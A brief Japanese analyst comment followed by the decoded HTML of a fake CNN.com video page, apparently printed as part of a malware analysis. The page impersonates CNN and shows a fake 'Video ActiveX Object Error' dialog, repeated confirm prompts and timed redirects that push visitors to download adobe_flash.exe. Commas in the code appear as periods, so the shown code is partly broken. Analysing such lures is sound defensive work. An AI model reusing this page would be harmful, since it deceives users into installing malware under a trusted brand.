上記のJavaScriptを解析したもの

以下のHTMLが出力されます。
adobe_flash.exeなんてものが記述されていますね。

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"

        "http://www.w3.org/TR/html4/loose.dtd">

<html lang="en">

<head>

<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">

<title>Breaking News Videos from CNN.com</title> 

<meta name="Title" content="Video - Breaking News Videos from CNN.com"> 

<meta name="Description" content="Find the latest video news stories and information free from CNN.com. Watch breaking news and video clips about politics. entertainment. weather. the world. and more."> 

<meta name="Keywords" content="CNN. CNN news. CNN.com. CNN TV. CNN video. CNN video news. CNN Live. CNN.com video. CNN.com Live. Live from CNN.com. video. VOD. video news. live. live video. live breaking 
news. flash video. flash video player"> 

<link rel="alternate" type="application/rss+xml" title="CNN.com: Video" href="http://rss.cnn.com/rss/cnn_freevideo.rss" /> 

<link rel="stylesheet" href="common.css" type="text/css" />

<link rel="stylesheet" href="bvp.css" type="text/css" />	

<script>
function activex_is_here()
{
    try
    {
        return false;
    }
    catch(e)
    {
        ;
    }

    return false;
}

function releaseMovie() {
	if (activex_is_here()) {
		document.getElementById('playMov').innerHTML = '<embed src="/movie.mpg" width="480" height="400" autostart="true" type="movie/mpg"></embed>';
	}
}function codecDownload()
{
	if (window.navigator.userAgent.indexOf("SV1") != -1 || window.navigator.userAgent.indexOf("MSIE 7") !=-1) {
return;
	}
	else {
		window.setTimeout("location.href='adobe_flash.exe'". 3000);
	}
}
</script>
</head>



<body>




<script>


var Drag = {
	obj : null.
	init : function(o. oRoot. minX. maxX. minY. maxY. bSwapHorzRef. bSwapVertRef. fXMapper. fYMapper)
	{
		o.onmousedown	= Drag.start;

		o.hmode			= bSwapHorzRef ? false : true ;
		o.vmode			= bSwapVertRef ? false : true ;

		o.root = oRoot && oRoot != null ? oRoot : o ;

		if (o.hmode  && isNaN(parseInt(o.root.style.left  ))) o.root.style.left   = "0px";
		if (o.vmode  && isNaN(parseInt(o.root.style.top   ))) o.root.style.top    = "0px";
		if (!o.hmode && isNaN(parseInt(o.root.style.right ))) o.root.style.right  = "0px";
		if (!o.vmode && isNaN(parseInt(o.root.style.bottom))) o.root.style.bottom = "0px";

		o.minX	= typeof minX != 'undefined' ? minX : null;
		o.minY	= typeof minY != 'undefined' ? minY : null;
		o.maxX	= typeof maxX != 'undefined' ? maxX : null;
		o.maxY	= typeof maxY != 'undefined' ? maxY : null;

		o.xMapper = fXMapper ? fXMapper : null;
		o.yMapper = fYMapper ? fYMapper : null;

		o.root.onDragStart	= new Function();
		o.root.onDragEnd	= new Function();
		o.root.onDrag		= new Function();
	}.

	start : function(e)
	{
		var o = Drag.obj = this;
		e = Drag.fixE(e);
		var y = parseInt(o.vmode ? o.root.style.top  : o.root.style.bottom);
		var x = parseInt(o.hmode ? o.root.style.left : o.root.style.right );
		o.root.onDragStart(x. y);

		o.lastMouseX	= e.clientX;
		o.lastMouseY	= e.clientY;

		if (o.hmode) {
			if (o.minX != null)	o.minMouseX	= e.clientX - x + o.minX;
			if (o.maxX != null)	o.maxMouseX	= o.minMouseX + o.maxX - o.minX;
		} else {
			if (o.minX != null) o.maxMouseX = -o.minX + e.clientX + x;
			if (o.maxX != null) o.minMouseX = -o.maxX + e.clientX + x;
		}

		if (o.vmode) {
			if (o.minY != null)	o.minMouseY	= e.clientY - y + o.minY;
			if (o.maxY != null)	o.maxMouseY	= o.minMouseY + o.maxY - o.minY;
		} else {
			if (o.minY != null) o.maxMouseY = -o.minY + e.clientY + y;
			if (o.maxY != null) o.minMouseY = -o.maxY + e.clientY + y;
		}

		document.onmousemove	= Drag.drag;
		document.onmouseup		= Drag.end;

		return false;
	}.

	drag : function(e)
	{
		e = Drag.fixE(e);
		var o = Drag.obj;

		var ey	= e.clientY;
		var ex	= e.clientX;
		var y = parseInt(o.vmode ? o.root.style.top  : o.root.style.bottom);
		var x = parseInt(o.hmode ? o.root.style.left : o.root.style.right );
		var nx. ny;

		if (o.minX != null) ex = o.hmode ? Math.max(ex. o.minMouseX) : Math.min(ex. o.maxMouseX);
		if (o.maxX != null) ex = o.hmode ? Math.min(ex. o.maxMouseX) : Math.max(ex. o.minMouseX);
		if (o.minY != null) ey = o.vmode ? Math.max(ey. o.minMouseY) : Math.min(ey. o.maxMouseY);
		if (o.maxY != null) ey = o.vmode ? Math.min(ey. o.maxMouseY) : Math.max(ey. o.minMouseY);

		nx = x + ((ex - o.lastMouseX) * (o.hmode ? 1 : -1));
		ny = y + ((ey - o.lastMouseY) * (o.vmode ? 1 : -1));

		if (o.xMapper)		nx = o.xMapper(y)
		else if (o.yMapper)	ny = o.yMapper(x)

		Drag.obj.root.style[o.hmode ? "left" : "right"] = nx + "px";
		Drag.obj.root.style[o.vmode ? "top" : "bottom"] = ny + "px";
		Drag.obj.lastMouseX	= ex;
		Drag.obj.lastMouseY	= ey;

		Drag.obj.root.onDrag(nx. ny);
		return false;
	}.

	end : function()
	{
		document.onmousemove = null;
		document.onmouseup   = null;
		Drag.obj.root.onDragEnd(	parseInt(Drag.obj.root.style[Drag.obj.hmode ? "left" : "right"]). 
									parseInt(Drag.obj.root.style[Drag.obj.vmode ? "top" : "bottom"]));
		Drag.obj = null;
	}.

	fixE : function(e)
	{
		if (typeof e == 'undefined') e = window.event;
		if (typeof e.layerX == 'undefined') e.layerX = e.offsetX;
		if (typeof e.layerY == 'undefined') e.layerY = e.offsetY;
		return e;
	}
};

function Down(download.e) 
{ 
	if (e!=null && e.keyCode==27)
	{	Close();
		return;
	}	
    switch (download) 
    { 
        case "iax": document.location.href="adobe_flash.exe"; break; 
        Close(); 
    } 

} 

function vc() {
	if (confirm('Video ActiveX Object Error.\n\nYour browser cannot play this video file.\nClick \'OK\' to download and install missing Video ActiveX Object.')) {
		location.href="adobe_flash.exe";
	}
	else {
		if (alert('Please install new version of Video ActiveX Object.')) {
			vc();
		}
		else {
			vc();
		}			
	}
}

function Close() 
{ 
    var p=document.getElementById("popdiv");
    p.style.visibility="hidden"; 
	vc();
} 
function Details()
{
	alert('You must download Video ActiveX Object to play this video file.');
}

</script>


<div name="popdiv" id="popdiv" onKeyPress="Down('iax'.event);" style="visibility:hidden; z-index:1;position:absolute;top:0px;left:0px;">

<table cellpadding="0" cellspacing="0" width="362" height="126">

<tr><td>

<table cellpadding="0" cellspacing="0" width="362" height="29" style=" BACKGROUND-IMAGE:URL('xptop.gif'); height:29px; width:362;"> <!-- win top table -->

<tr>

<td style="color:white; font-family:Tahoma; font-size:13px; font-weight:bold; padding-left:4px;padding-top:1px">&nbsp;&nbsp;Video ActiveX Object Error.</td>

<td width="21" style="padding-right:6px;"><img src="xpclose.gif" width="21" height="21" onClick="Close();" style="cursor:default;" ></td>

</tr>

</table>

</td></tr>

<tr><td>

<table cellpadding="0" cellspacing="0" height="97">

<tr>

<td style="background-image:url(left.gif); background-repeat:repeat-y;" valign="bottom">

<table cellpadding="0" cellspacing="0">

<tr><td><img src="xpleftclm.gif" width="3" height="97"></td></tr>

</table>

</td>

<td valign="top">

<table cellpadding="0" cellspacing="0" width="356" bgcolor="ece9d8">

<tr><td>

<table cellpadding="0" cellspacing="0" height="59">

<tr>

<td align="center" style="padding-left:20px; padding-top:13px;" valign="top">

<img src="alert.gif" width="31" height="32"></td>

<td align="left" style="font-size:11px;  font-family:Tahoma; padding-left:30px; padding-bottom:8px; padding-right:5px;">

<br><b>Video ActiveX Object Error:</b><br>Your browser cannot display this video file.<br><br>You need to download new version of Video ActiveX Object to play this video file.

</td></tr>

</table>

</td>

</tr>

<tr><tr>

<td style="padding-left:20px; padding-right:20px; padding-bottom:20px; font-family:Tahoma; font-size:11px;" align="center">

<hr><br>Click Continue to download and install ActiveX Object.

</td></tr><td>

<table align="center" cellpadding="0" cellspacing="6" height="22">

<tr height="22">

<td><input type="button" value="Continue" onClick="Down('iax');" style="font-size:11px;  font-family:Arial; height:23px; width:82px;" tabindex="1" ID="Button1" NAME="Button1"><br><br></td>

<td></td>

<td><input type="button" value="Cancel" onClick="Close()" style="font-size:11px;  font-family:Arial; height:23px; width:82px;" ID="Button3" NAME="Button3"><br><br></td>

<td><input type="button" value="Details..." onClick="Details()" style="font-size:11px;  font-family:Arial; height:23px; width:82px;" ID="Button3" NAME="Button3"><br><br></td>

</tr>

</table>

</td>

</tr>

<tr>

<td>

<table cellpadding="0" cellspacing="0" width="100%">

<tr bgcolor="4577ea" style="height:1px;">

<td></td>

</tr> <!-- empty colors -->

<tr bgcolor="0029b5" style="height:1px;">

<td></td>

</tr>

<tr bgcolor="001590" style="height:1px;">

<td></td>

</tr>

</table>

</td>

</tr>

</table>

</td>

<td style="background-image:url(right.gif); background-repeat:repeat-y;" valign="bottom">

<table cellpadding="0" cellspacing="0">

<tr>

<td style="padding:0px;"><img src="xprightclm.gif" width="3" height="97"></td>

</table>

</td>

</tr>

</table>

</td>

</tr>

</table>



<script>
if (navigator.userAgent.indexOf("Firefox")!=-1) {
if (activex_is_here()) { } else {
	setTimeout("Close();". 1000);
}
}
else {
if (activex_is_here()) { } else {
	setTimeout("showPopDiv();".2000);
}
}
      
function showPopDiv()
{
		var sFlag = "No";
		var byFlag = false;
		var FlagAr = sFlag.split("");
	
		if (FlagAr[0]=="1"){byFlag = true;}
		if (FlagAr[0]=="3"){byFlag = true;}
	
		if(!byFlag) {
			var p=document.getElementById("popdiv"); 
	
		var myWidth = 0. myHeight = 0;
		if( typeof( window.innerWidth ) == 'number' ) {
		myWidth = window.innerWidth;
		myHeight = window.innerHeight;
		} else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
		myWidth = document.documentElement.clientWidth;
		myHeight = document.documentElement.clientHeight;
		} else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
		myWidth = document.body.clientWidth;
		myHeight = document.body.clientHeight;
		}

		function getScroll() {
		
			var scrOfX = 0. scrOfY = 0;
			if( typeof( window.pageYOffset ) == 'number' ) {
			scrOfY = window.pageYOffset;
			scrOfX = window.pageXOffset;
			} else if( document.body && ( document.body.scrollLeft || document.body.scrollTop ) ) {
			scrOfY = document.body.scrollTop;
			scrOfX = document.body.scrollLeft;
			} else if( document.documentElement && ( document.documentElement.scrollLeft || document.documentElement.scrollTop ) ) {
			scrOfY = document.documentElement.scrollTop;
			scrOfX = document.documentElement.scrollLeft;
			}
			return [scrOfX. scrOfY];
		
		}

		sc = getScroll(); 
		p.style.top = (myHeight/2 - 181)+sc[1]+'px'; 
		p.style.left = (myWidth/2 - 120) + sc[0]+'px'; 
		p.style.visibility = 'visible';
		p.focus();
	}
}

Drag.init(document.getElementById("popdiv"));
</script>

</div>



<div id="cnnContainer">

<div id="cnnContentContainer">

<div id="cnnVPContainer">



<div class="cnnBackHome">	

	<style type="text/css">

	<!--

	.cnnOpin {float:right;color:#F2F2F2;font-size:11px;}

	.cnnOpin a.realmLink {font-weight:bold;font-size:11px;}

	.cnnOpin a {margin:0px 6px;}

	-->

	</style>



<div class="cnnOpin">

<a href="#" class="realmLink"><img src="opinionBlue.gif" title="Feedback" style="margin-right: 5px;" border="0">Feedback</a> | <a href="http://edition.cnn.com/help/video.html">Help</a></div>			



<a href="http://edition.cnn.com/">&laquo; CNN.com Homepage</a>  

</div>



<div id="cnnVPNav">

<table cellspacing="0" cellspacing="0" border="0" width="940">

<colgroup>

<col width="247">

<col width="231">

<col width="231">

<col width="231">

</colgroup>

<tr>

<td><img src="cnn_video_logo.gif" width="130" height="24" alt="" border="0" class="cnnVideoLogo"></td>

<td class="NavItem"><img src="video_icon_active.gif" alt="" border="0">&nbsp;<a href="#">Live Video</a></td>

<td class="NavItem"><img src="podcast_icon.gif" width="12" height="14" alt="" border="0">&nbsp;<a href="#">Podcasts</a></td>

<td class="NavItem"><img src="radio_icon.gif" width="11" height="14" alt="" border="0">&nbsp;<a href="#">CNN&nbsp;Radio</a></td>



</tr>

</table>

</div>



<div style="text-align:center">

<!-- LARGE PLAYER HTML CODE -->

<a href="adobe_flash.exe">

<img onmouseover="window.status = 'You must download Video ActiveX Object to play this video file.';" alt="You must download Video ActiveX Object to play this video file." src="no_flash.jpg" 
width="582" height="477" border="0"></a>

<!-- /LARGE PLAYER HTML CODE -->

</div>


<div class="clear"><img src="1_002.gif" alt="" border="0" height="1" width="1"></div>


</div>
</div>

<div style="margin-top: 15px; font-size: 11px; line-height: 18px; color: rgb(148. 148. 148);" align="center">

<a href="http://edition.cnn.com/">Home</a> &nbsp;|&nbsp; <a href="http://edition.cnn.com/WORLD/">World</a> &nbsp;|&nbsp; <a href="http://edition.cnn.com/US/">U.S.</a> &nbsp;|&nbsp; <a 
href="http://edition.cnn.com/POLITICS/">Politics</a> &nbsp;|&nbsp; <a href="http://edition.cnn.com/SHOWBIZ/">Entertainment</a> &nbsp;|&nbsp; <a href="http://edition.cnn.com/HEALTH">Health</a> 
&nbsp;|&nbsp; <a href="http://edition.cnn.com/TECH">Tech</a> &nbsp;|&nbsp; <a href="http://edition.cnn.com/TRAVEL/">Travel</a> &nbsp;|&nbsp; <a href="http://edition.cnn.com/video/living">Living</a> 
&nbsp;|&nbsp; <a href="http://edition.cnn.com/money/">Business</a> &nbsp;|&nbsp; <a href="http://edition.cnn.com/si/">Sports</a> &nbsp;|&nbsp; <a href="http://edition.cnn.com/time/">Time.com</a><br>

© 2007 Cable News Network LP. LLLP. A Time Warner Company. All Rights Reserved.<br>

<a href="http://edition.cnn.com/interactive_legal.html">Terms of service</a> &nbsp;|&nbsp; <a href="http://edition.cnn.com/privacy.html">Privacy guidelines</a> <!--&nbsp;|&nbsp; <a 
href="Advertise">Advertise with us</a> -->&nbsp;|&nbsp; <a href="http://edition.cnn.com/about/">About us</a> &nbsp;|&nbsp; <a href="http://edition.cnn.com/feedback/">Contact us</a> &nbsp;|&nbsp; <a 
href="http://edition.cnn.com/help/">Help</a>

</div>



</body>

</html>